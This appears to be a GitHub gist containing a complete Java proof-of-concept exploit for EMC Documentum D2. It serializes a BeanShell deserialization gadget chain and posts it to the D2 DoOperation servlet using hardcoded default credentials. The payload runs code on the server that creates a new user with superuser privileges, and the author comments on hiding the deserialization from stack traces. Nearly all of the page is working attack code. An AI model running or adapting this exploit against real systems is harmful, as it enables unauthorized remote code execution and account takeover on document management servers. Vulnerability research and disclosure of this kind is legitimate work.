Last active
July 3, 2016 15:40
Star
You must be signed in to star a gist
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import java.io.ByteArrayOutputStream; | |
import java.io.DataOutputStream; | |
import java.io.InputStream; | |
import java.io.ObjectOutputStream; | |
import java.lang.reflect.Constructor; | |
import java.lang.reflect.Field; | |
import java.net.HttpURLConnection; | |
import java.net.URL; | |
import java.util.ArrayList; | |
import java.util.Comparator; | |
import java.util.List; | |
import java.util.PriorityQueue; | |
import bsh.Interpreter; | |
import bsh.XThis; | |
import com.documentum.fc.client.content.impl.ContentStoreResult; | |
import com.documentum.fc.client.impl.typeddata.TypedData; | |
/** | |
* @author Andrey B. Panfilov <andrey@panfilov.tel> | |
*/ | |
@SuppressWarnings("unchecked") | |
public class DocumentumD2BeanShellPoc { | |
public static void main(String[] args) throws Exception { | |
String url = args[0]; | |
String docbase = args[1]; | |
String userName = args[2]; | |
String payload = "compare(Object foo, Object bar) {new Interpreter()" | |
+ ".eval(\"try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()" | |
+ ".getSessionRegistry().getAllSessions().iterator().next();" | |
+ "session=com.emc.d2.api.D2Session.getAdminSession(session, false);" | |
+ "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery(" | |
+ "\\\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', " | |
+ "set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} " | |
+ "catch (Exception e) {}; return 0;\");}"; | |
Interpreter interpreter = new Interpreter(); | |
interpreter.eval(String.format(payload, userName, userName, userName)); | |
XThis x = new XThis(interpreter.getNameSpace(), interpreter); | |
Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, }); | |
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); | |
Object[] queue = new Object[] { 1, 1 }; | |
setFieldValue(priorityQueue, "queue", queue); | |
setFieldValue(priorityQueue, "size", 2); | |
// actually we may send priorityQueue directly, but I want to hide | |
// deserialization stuff from stacktrace :) | |
Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder"); | |
Constructor ctor = cls.getConstructor(); | |
ctor.setAccessible(true); | |
Object valueHolder = ctor.newInstance(); | |
setFieldValue(valueHolder, "m_value", priorityQueue); | |
List valueHolders = new ArrayList(); | |
valueHolders.add(valueHolder); | |
TypedData data = new TypedData(); | |
setFieldValue(data, "m_valueHolders", valueHolders); | |
ContentStoreResult result = new ContentStoreResult(); | |
setFieldValue(result, "m_attrs", data); | |
ByteArrayOutputStream baos = new ByteArrayOutputStream(); | |
DataOutputStream dos = new DataOutputStream(baos); | |
for (Character c : "SAVED".toCharArray()) { | |
dos.write(c); | |
} | |
dos.write((byte) 124); | |
dos.flush(); | |
ObjectOutputStream oos = new ObjectOutputStream(baos); | |
oos.writeObject(result); | |
oos.flush(); | |
byte[] bytes = baos.toByteArray(); | |
baos = new ByteArrayOutputStream(); | |
dos = new DataOutputStream(baos); | |
dos.writeInt(bytes.length); | |
dos.write(bytes); | |
dos.flush(); | |
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection(); | |
conn.setRequestProperty("Content-Type", "application/octet-stream"); | |
conn.setRequestMethod("POST"); | |
conn.setUseCaches(false); | |
conn.setDoOutput(true); | |
conn.getOutputStream().write(baos.toByteArray()); | |
conn.connect(); | |
System.out.println("Response code: " + conn.getResponseCode()); | |
InputStream stream = conn.getInputStream(); | |
byte[] buff = new byte[1024]; | |
int count = 0; | |
while ((count = stream.read(buff)) != -1) { | |
System.out.write(buff, 0, count); | |
} | |
} | |
public static String makeUrl(String url) { | |
if (!url.endsWith("/")) { | |
url += "/"; | |
} | |
return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd&file_length=1000" | |
+ "&_username=dmc_wdk_preferences_owner&_password=webtop"; | |
} | |
public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { | |
Field field = clazz.getDeclaredField(fieldName); | |
if (field == null && clazz.getSuperclass() != null) { | |
field = getField(clazz.getSuperclass(), fieldName); | |
} | |
field.setAccessible(true); | |
return field; | |
} | |
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { | |
final Field field = getField(obj.getClass(), fieldName); | |
field.set(obj, value); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment